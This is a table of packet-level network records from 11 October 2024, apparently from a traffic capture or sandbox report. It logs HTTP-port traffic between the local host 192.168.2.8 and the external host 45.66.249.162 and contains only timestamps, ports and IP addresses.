Oct 11, 2024 22:32:28.223762035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223774910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.223787069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223824024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.223824024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.223841906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223872900 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223885059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223926067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.223926067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.223926067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.223975897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.223988056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224008083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224021912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224040031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224056959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224062920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224062920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224067926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224091053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224103928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224118948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224124908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224124908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224124908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224124908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224124908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224126101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224136114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224154949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224154949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224163055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224185944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224199057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224212885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224235058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224236965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224236965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224236965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224236965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224246979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224255085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224268913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224271059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224281073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224299908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224572897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224572897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224572897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224572897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224663973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224674940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224692106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224749088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224759102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224781036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224796057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224806070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224816084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224816084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224816084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224816084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224824905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224838018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224850893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224850893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224863052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224874973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224891901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224901915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224916935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224940062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224940062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224941015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224941015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224941015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224980116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.224983931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.224997044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225009918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225030899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225157976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225164890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.225164890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.225164890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.225169897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225197077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225207090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225225925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225258112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225270987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225275993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.225275993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.225275993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.225275993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.225275993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.225291014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225301981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225310087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.225310087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.225327015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.225419044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.225982904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.225995064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226017952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226032019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226047993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226063967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226063013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226063013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226063013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226080894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226093054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226097107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226097107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226109982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226114035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226129055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226144075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226157904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226167917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226187944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226198912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:28.226197958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226198912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226198912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226198912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226198912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226249933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226249933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.226249933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.563427925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:28.568460941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:29.061657906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:29.061835051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:29.169013023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:29.173871040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:29.648264885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:29.648329020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:30.941468000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:30.946459055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:31.401715040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:31.401915073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:31.890965939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:31.897424936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.372448921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.372481108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.372499943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.372509956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.372525930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.372540951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.372555017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.372621059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.372621059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.372697115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.372709036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.372723103 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.372729063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.372737885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.372773886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.460935116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.461114883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530232906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530306101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530309916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530361891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530390978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530440092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530456066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530504942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530519962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530565023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530569077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530617952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530616999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530668020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530668020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530714989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530715942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530761957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530762911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530807972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530808926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530853033 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530857086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530905962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530908108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530950069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530952930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.530998945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.530999899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.531049967 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.531053066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.531102896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.531105042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.531150103 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.531152010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.531198025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.531202078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.531249046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.531281948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.531292915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.531301022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.531349897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.549542904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.549666882 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.598310947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.598345995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.598365068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.598388910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.598438978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.688808918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.688852072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.688875914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.688884974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.688882113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.688909054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.688929081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.688932896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.688932896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.688945055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.688961029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.688972950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.688973904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.688988924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.688997030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689003944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689018965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689021111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689032078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689049006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689058065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689058065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689081907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689091921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689100981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689116955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689124107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689131021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689146042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689161062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689161062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689176083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689196110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689196110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689205885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689218998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689224958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689244032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689254045 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689253092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689287901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689297915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689310074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689347029 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689347982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689394951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689516068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689563036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689568996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689614058 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689632893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689680099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689685106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689728975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689728975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689771891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689775944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689822912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689838886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689887047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689888000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689932108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689934969 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.689980030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.689980984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.690025091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.690027952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.690073013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.690073967 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.690116882 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.690119982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.690164089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.690165997 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.690210104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.690212011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.690256119 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.690258980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.690304995 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.707201958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.707334995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.707340956 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.707401991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.707412004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.707458019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.707472086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.707516909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.757234097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.757318020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.757349968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.757401943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.860734940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.860801935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.860867023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.860913992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.860929966 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.860960007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.860985041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861011028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861016989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861079931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861107111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861128092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861129045 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861174107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861218929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861228943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861263990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861264944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861310959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861310959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861356974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861404896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861435890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861450911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861471891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861500978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861516953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861567020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861594915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861613035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861615896 CEST	49707	80	192.168.2.8	45.66.249.162
